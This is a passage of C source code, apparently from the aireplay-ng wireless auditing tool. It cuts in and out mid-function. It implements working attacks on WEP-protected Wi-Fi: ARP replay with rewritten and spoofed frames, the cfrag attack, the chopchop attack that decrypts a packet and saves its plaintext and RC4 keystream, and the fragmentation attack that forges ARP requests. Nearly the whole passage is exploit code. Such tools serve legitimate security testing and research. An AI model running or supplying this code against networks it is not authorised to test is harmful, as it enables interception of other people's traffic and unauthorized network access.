nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 2: /* FromDS */ { if(memcmp(h80211 + 4, BROADCAST, 6) == 0) { /* backup sender MAC */ memset( senderMAC, 0, 6 ); memcpy( senderMAC, h80211 + 16, 6 ); /* rewrite to a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, BROADCAST, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } else { nb_arp_tot++; continue; } break; } default: continue; } // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) continue; else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); free(arp); fclose( f_cap_out ); return( 1 ); } memset(flip, 0, 4096); /* flip the sender MAC to convert it into the source MAC */ flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]); flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]); flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]); flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]); flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]); flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]); flip[25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, caplen-z-4-4); for(i=0; i> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } int set_final_ip(unsigned char *buf, unsigned char *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x06; //hardware size buf[1] = 0x04; //protocol size buf[2] = 0x00; buf[3] = 0x01; //request memcpy(buf+4, mymac, 6); //sender mac buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX buf[11] = 0xFE; return 0; } int do_attack_cfrag( void ) { int caplen, n; struct timeval tv; struct timeval tv2; float f, ticks[3]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; unsigned char keystream[128]; unsigned char frag1[128], frag2[128], frag3[128]; unsigned char clear[4096], final[4096], flip[4096]; int isarp; int z, i; opt.f_fromds = 0; read_packets: if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if(caplen < z) { goto read_packets; } if(caplen > 3800) { goto read_packets; } switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); memcpy( dmac, h80211 + 4, 6 ); memcpy( smac, h80211 + 10, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); memcpy( dmac, h80211 + 16, 6 ); memcpy( smac, h80211 + 10, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); memcpy( dmac, h80211 + 4, 6 ); memcpy( smac, h80211 + 16, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); memcpy( dmac, h80211 + 16, 6 ); memcpy( smac, h80211 + 24, 6 ); break; } memset(clear, 0, 4096); memset(final, 0, 4096); memset(flip, 0, 4096); memset(frag1, 0, 128); memset(frag2, 0, 128); memset(frag3, 0, 128); memset(keystream, 0, 128); /* check if it's a potential ARP request */ //its length 68-24 or 86-24 and going to broadcast or a unicast mac (even first byte) if( (caplen-z == 68-24 || caplen-z == 86-24) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) ) { /* process ARP */ printf("Found ARP packet\n"); isarp = 1; //build the new packet set_clear_arp(clear, smac, dmac); set_final_arp(final, opt.r_smac); for(i=0; i<14; i++) keystream[i] = (h80211+z+4)[i] ^ clear[i]; // correct 80211 header // h80211[0] = 0x08; //data if( (h80211[1] & 3) == 0x00 ) //ad-hoc { h80211[1] = 0x40; //wep memcpy(h80211+4, smac, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, bssid, 6); } else //tods { if(opt.f_tods == 1) { h80211[1] = 0x41; //wep+ToDS memcpy(h80211+4 , bssid, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, smac, 6); } else { h80211[1] = 0x42; //wep+FromDS memcpy(h80211+4, smac, 6); memcpy(h80211+10, bssid, 6); memcpy(h80211+16, opt.r_smac, 6); } } h80211[22] = 0xD0; //frag = 0; h80211[23] = 0x50; //need to shift by 10 bytes; (add 1 frag in front) memcpy(frag1, h80211, z+4); //copy 80211 header and IV frag1[1] |= 0x04; //more frags memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8); frag1[z+4+8] = 0x00; frag1[z+4+9] = 0x01; //ethernet add_crc32(frag1+z+4, 10); for(i=0; i<14; i++) (frag1+z+4)[i] ^= keystream[i]; /* frag1 finished */ for(i=0; i= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION))); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 ) continue; /* threshold reached */ ticks[2] = 0; if( nb_pkt_sent == 0 ) ticks[0] = 0; if(isarp) { if( send_packet( frag1, z+4+10+4 ) < 0 ) return( 1 ); nb_pkt_sent--; } else { if( send_packet( frag1, z+4+4+4 ) < 0 ) return( 1 ); if( send_packet( frag2, z+4+4+4 ) < 0 ) return( 1 ); if( send_packet( frag3, z+4+4+4 ) < 0 ) return( 1 ); nb_pkt_sent-=3; } if( send_packet( h80211, caplen ) < 0 ) return( 1 ); } return( 0 ); } int do_attack_chopchop( void ) { float f, ticks[4]; int i, j, n, z, caplen, srcz; int data_start, data_end, srcdiff, diff; int guess, is_deauth_mode; int nb_bad_pkt; int tried_header_rec=0; unsigned char b1 = 0xAA; unsigned char b2 = 0xAA; FILE *f_cap_out; long nb_pkt_read; unsigned long crc_mask; unsigned char *chopped; unsigned char packet[4096]; time_t tt; struct tm *lt; struct timeval tv; struct timeval tv2; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; if(getnet(NULL, 1, 0) != 0) return 1; srand( time( NULL ) ); if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; srcz = z; if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) ) return( 1 ); if( opt.r_smac_set == 1 ) { //handle picky APs (send one valid packet before all the invalid ones) memset(packet, 0, sizeof(packet)); memcpy( packet, NULL_DATA, 24 ); memcpy( packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); memcpy( packet + 10, opt.r_smac, 6 ); memcpy( packet + 16, opt.f_bssid, 6 ); packet[0] = 0x08; //make it a data packet packet[1] = 0x41; //set encryption and ToDS=1 memcpy( packet+24, h80211+z, caplen-z); if( send_packet( packet, caplen-z+24 ) != 0 ) return( 1 ); //done sending a correct packet } /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { b1 = 0x42; b2 = 0x42; } printf( "\n" ); /* chopchop operation mode: truncate and decrypt the packet */ /* we assume the plaintext starts with AA AA 03 00 00 00 */ /* (42 42 03 00 00 00 for spanning-tree packets) */ memcpy( srcbuf, h80211, caplen ); /* setup the chopping buffer */ n = caplen - z + 24; if( ( chopped = (unsigned char *) malloc( n ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset( chopped, 0, n ); data_start = 24 + 4; data_end = n; srcdiff = z-24; chopped[0] = 0x08; /* normal data frame */ chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */ /* copy the duration */ memcpy( chopped + 2, h80211 + 2, 2 ); /* copy the BSSID */ switch( h80211[1] & 3 ) { case 0: memcpy( chopped + 4, h80211 + 16, 6 ); break; case 1: memcpy( chopped + 4, h80211 + 4, 6 ); break; case 2: memcpy( chopped + 4, h80211 + 10, 6 ); break; default: memcpy( chopped + 4, h80211 + 10, 6 ); break; } /* copy the WEP IV */ memcpy( chopped + 24, h80211 + z, 4 ); /* setup the xor mask to hide the original data */ crc_mask = 0; for( i = data_start; i < data_end - 4; i++ ) { switch( i - data_start ) { case 0: chopped[i] = b1 ^ 0xE0; break; case 1: chopped[i] = b2 ^ 0xE0; break; case 2: chopped[i] = 0x03 ^ 0x03; break; default: chopped[i] = 0x55 ^ ( i & 0xFF ); break; } crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ) ^ ( chopped[i] << 24 ); } for( i = 0; i < 4; i++ ) crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ); chopped[data_end - 4] = crc_mask; crc_mask >>= 8; chopped[data_end - 3] = crc_mask; crc_mask >>= 8; chopped[data_end - 2] = crc_mask; crc_mask >>= 8; chopped[data_end - 1] = crc_mask; crc_mask >>= 8; for( i = data_start; i < data_end; i++ ) chopped[i] ^= srcbuf[i+srcdiff]; data_start += 6; /* skip the SNAP header */ /* if the replay source mac is unspecified, forge one */ if( opt.r_smac_set == 0 ) { is_deauth_mode = 1; opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; memcpy( opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } else { is_deauth_mode = 0; opt.r_dmac[0] = 0xFF; opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } /* let's go chopping */ memset( ticks, 0, sizeof( ticks ) ); nb_pkt_read = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; tt = time( NULL ); alarm( 30 ); signal( SIGALRM, sighandler ); if(opt.port_in <= 0) { if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); free(chopped); return( 1 ); } } while( data_end > data_start ) { if( alarmed ) { printf( "\n\n" "The chopchop attack appears to have failed. Possible reasons:\n" "\n" " * You're trying to inject with an unsupported chipset (Centrino?).\n" " * The driver source wasn't properly patched for injection support.\n" " * You are too far from the AP. Get closer or reduce the send rate.\n" " * Target is 802.11g only but you are using a Prism2 or RTL8180.\n" " * The wireless interface isn't setup on the correct channel.\n" ); if( is_deauth_mode ) printf( " * The AP isn't vulnerable when operating in non-authenticated mode.\n" " Run aireplay-ng in authenticated mode instead (-h option).\n\n" ); else printf( " * The client MAC you have specified is not currently authenticated.\n" " Try running another aireplay-ng to fake authentication (attack \"-1\").\n" " * The AP isn't vulnerable when operating in authenticated mode.\n" " Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" ); free(chopped); return( 1 ); } /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "\nread(/dev/rtc) failed" ); free(chopped); return( 1 ); } ticks[0]++; /* ticks since we entered the while loop */ ticks[1]++; /* ticks since the last status line update */ ticks[2]++; /* ticks since the last frame was sent */ ticks[3]++; /* ticks since started chopping current byte */ } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 976 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / 976; ticks[1] += f / 976; ticks[2] += f / 976; ticks[3] += f / 976; } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %3ld packets, current guess: %02X...\33[K", nb_pkt_sent, guess ); fflush( stdout ); } if( data_end < 41 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) / (int) ( caplen - ( data_end - 1 ) ) ) { header_rec: printf( "\n\nThe AP appears to drop packets shorter " "than %d bytes.\n",data_end ); data_end = 40; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; if( ( chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0] ) == 0x06 && ( chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1] ) == 0x04 && ( chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2] ) == 0x00 ) { printf( "Enabling standard workaround: " "ARP header re-creation.\n" ); chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06; chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00; chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01; chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08; chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00; } else { printf( "Enabling standard workaround: " " IP header re-creation.\n" ); n = caplen - ( z + 16 ); chopped[24 + 4] = srcbuf[srcz + 4] ^ 0xAA; chopped[24 + 5] = srcbuf[srcz + 5] ^ 0xAA; chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03; chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00; chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00; chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00; chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00; chopped[24 + 14] = srcbuf[srcz + 14] ^ ( n >> 8 ); chopped[24 + 15] = srcbuf[srcz + 15] ^ ( n & 0xFF ); memcpy( h80211, srcbuf, caplen ); for( i = z + 4; i < (int) caplen; i++ ) h80211[i - 4] = h80211[i] ^ chopped[i-diff]; /* sometimes the header length or the tos field vary */ for( i = 0; i < 16; i++ ) { h80211[z + 8] = 0x40 + i; chopped[24 + 12] = srcbuf[srcz + 12] ^ ( 0x40 + i ); for( j = 0; j < 256; j++ ) { h80211[z + 9] = j; chopped[24 + 13] = srcbuf[srcz + 13] ^ j; if( check_crc_buf( h80211 + z, caplen - z - 8 ) ) goto have_crc_match; } } printf( "This doesn't look like an IP packet, " "try another one.\n" ); } have_crc_match: break; } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* send one modified frame */ ticks[2] = 0; memcpy( h80211, chopped, data_end - 1 ); /* note: guess 256 is special, it tests if the * * AP properly drops frames with an invalid ICV * * so this guess always has its bit 8 set to 0 */ if( is_deauth_mode ) { opt.r_smac[1] |= ( guess < 256 ); opt.r_smac[5] = guess & 0xFF; } else { opt.r_dmac[1] |= ( guess < 256 ); opt.r_dmac[5] = guess & 0xFF; } memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_dmac, 6 ); if( guess < 256 ) { h80211[data_end - 2] ^= crc_chop_tbl[guess][3]; h80211[data_end - 3] ^= crc_chop_tbl[guess][2]; h80211[data_end - 4] ^= crc_chop_tbl[guess][1]; h80211[data_end - 5] ^= crc_chop_tbl[guess][0]; } errno = 0; if( send_packet( h80211, data_end -1 ) != 0 ) { free(chopped); return( 1 ); } if( errno != EAGAIN ) { guess++; if( guess > 256 ) guess = 0; } } /* watch for a response from the AP */ n = read_packet( h80211, sizeof( h80211 ), NULL ); if( n < 0 ) { free(chopped); return( 1 ); } if( n == 0 ) continue; nb_pkt_read++; /* check if it's a deauth packet */ if( h80211[0] == 0xA0 || h80211[0] == 0xC0 ) { if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 && ! is_deauth_mode ) { nb_bad_pkt++; if( nb_bad_pkt > 256 ) { printf("\rgot several deauthentication packets - pausing 3 seconds for reconnection\n"); sleep(3); nb_bad_pkt = 0; } continue; } if( h80211[4] != opt.r_smac[0] ) continue; if( h80211[6] != opt.r_smac[2] ) continue; if( h80211[7] != opt.r_smac[3] ) continue; if( h80211[8] != opt.r_smac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_smac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in authenticated mode (-h) instead.\n\n" ); free(chopped); return( 1 ); } } else { if( is_deauth_mode ) continue; /* check if it's a WEP data packet */ if( ( h80211[0] & 0x0C ) != 8 ) continue; if( ( h80211[0] & 0x70 ) != 0 ) continue; if( ( h80211[1] & 0x03 ) != 2 ) continue; if( ( h80211[1] & 0x40 ) == 0 ) continue; /* check the extended IV (TKIP) flag */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if( ( h80211[z + 3] & 0x20 ) != 0 ) continue; /* check the destination address */ if( h80211[4] != opt.r_dmac[0] ) continue; if( h80211[6] != opt.r_dmac[2] ) continue; if( h80211[7] != opt.r_dmac[3] ) continue; if( h80211[8] != opt.r_dmac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_dmac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in non-authenticated mode instead.\n\n" ); free(chopped); return( 1 ); } } /* we have a winner */ guess = h80211[9]; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; n = caplen - data_start; printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | " "%4ld frames written in %5.0fms\n", data_end - 1, 100 * ( caplen - data_end ) / n, chopped[data_end - 1], chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1], nb_pkt_sent, ticks[3] ); if( is_deauth_mode ) { opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; } else { opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; data_end--; alarm( 0 ); } /* reveal the plaintext (chopped contains the prga) */ memcpy( h80211, srcbuf, caplen ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; chopped[24 + 4] = srcbuf[srcz + 4] ^ b1; chopped[24 + 5] = srcbuf[srcz + 5] ^ b2; chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03; chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00; chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00; chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00; for( i = z + 4; i < (int) caplen; i++ ) h80211[i - 4] = h80211[i] ^ chopped[i-diff]; if( ! check_crc_buf( h80211 + z, caplen - z - 8 ) ) { if (!tried_header_rec) { printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" ); tried_header_rec=1; goto header_rec; } else { printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" ); } } caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */ h80211[1] &= 0xBF; /* remove the WEP bit, too */ /* save the decrypted packet */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "\nSaving plaintext in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); free(chopped); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); free(chopped); fclose( f_cap_out ); return( 1 ); } n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); free(chopped); fclose( f_cap_out ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); free(chopped); fclose( f_cap_out ); return( 1 ); } fclose( f_cap_out ); /* save the RC4 stream (xor mask) */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving keystream in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); free(chopped); return( 1 ); } n = pkh.caplen + 8 - 24; if( fwrite( chopped + 24, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); free(chopped); fclose( f_cap_out ); return( 1 ); } free(chopped); fclose( f_cap_out ); printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", (long) (time( NULL ) - tt), (float) ( pkh.caplen - 6 - 24 ) / (float) ( time( NULL ) - tt ) ); return( 0 ); } int make_arp_request(unsigned char *h80211, unsigned char *bssid, unsigned char *src_mac, unsigned char *dst_mac, unsigned char *src_ip, unsigned char *dst_ip, int size) { unsigned char *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01"; unsigned char *header80211 = (unsigned char*)"\x08\x41\x95\x00"; // 802.11 part memcpy(h80211, header80211, 4); memcpy(h80211+4, bssid, 6); memcpy(h80211+10, src_mac, 6); memcpy(h80211+16, dst_mac, 6); h80211[22] = '\x00'; h80211[23] = '\x00'; // ARP part memcpy(h80211+24, arp_header, 16); memcpy(h80211+40, src_mac, 6); memcpy(h80211+46, src_ip, 4); memset(h80211+50, '\x00', 6); memcpy(h80211+56, dst_ip, 4); // Insert padding bytes memset(h80211+60, '\x00', size-60); return 0; } void save_prga(char *filename, unsigned char *iv, unsigned char *prga, int prgalen) { FILE *xorfile; size_t unused; xorfile = fopen(filename, "wb"); unused = fwrite (iv, 1, 4, xorfile); unused = fwrite (prga, 1, prgalen, xorfile); fclose (xorfile); } int do_attack_fragment() { unsigned char packet[4096]; unsigned char packet2[4096]; unsigned char prga[4096]; unsigned char iv[4]; // unsigned char ack[14] = "\xd4"; char strbuf[256]; struct tm *lt; struct timeval tv, tv2; int done; int caplen; int caplen2; int arplen; int round; int prga_len; int isrelay; int again; int length; int ret; int gotit; int acksgot; int packets; int z; unsigned char *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00"; done = caplen = caplen2 = arplen = round = 0; prga_len = isrelay = gotit = again = length = 0; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) { memset( opt.r_dmac, '\xFF', 6); opt.r_dmac[5] = 0xED; } if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_sip, '\xFF', 4); } if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_dip, '\xFF', 4); } PCT; printf ("Waiting for a data packet...\n"); while(!done) // { round = 0; if( capture_ask_packet( &caplen, 0 ) != 0 ) return -1; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2)) continue; memcpy( packet2, h80211, caplen ); caplen2 = caplen; PCT; printf("Data packet found!\n"); if ( memcmp( packet2 + 4, SPANTREE, 6 ) == 0 || memcmp( packet2 + 16, SPANTREE, 6 ) == 0 ) { packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+10] = ((packet2[z+10] ^ 0x00) ^ 0x08); //0x00 instead of 0x08 } prga_len = 7; again = RETRY; memcpy( packet, packet2, caplen2 ); caplen = caplen2; memcpy(prga, packet+z+4, prga_len); memcpy(iv, packet+z, 4); xor_keystream(prga, snap_header, prga_len); while(again == RETRY) //sending 7byte fragments { again = 0; arplen=60; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 39); arplen=63; } acksgot=0; packets=(arplen-24)/(prga_len-4); if( (arplen-24)%(prga_len-4) != 0 ) packets++; PCT; printf("Sending fragmented packet\n"); send_fragments(h80211, arplen, iv, prga, prga_len-4, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { acksgot++; } continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z < 66) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60); if (caplen-z == 68-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 71-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 39); } if (! isrelay) { //Building expected cleartext unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02"; //Ethernet & ARP header //Followed by the senders MAC and IP: memcpy(ct+16, packet+16, 6); memcpy(ct+22, opt.r_dip, 4); //And our own MAC and IP: memcpy(ct+26, opt.r_smac, 6); memcpy(ct+32, opt.r_sip, 4); //Calculating memcpy(prga, packet+z+4, 36); xor_keystream(prga, ct, 36); } else { 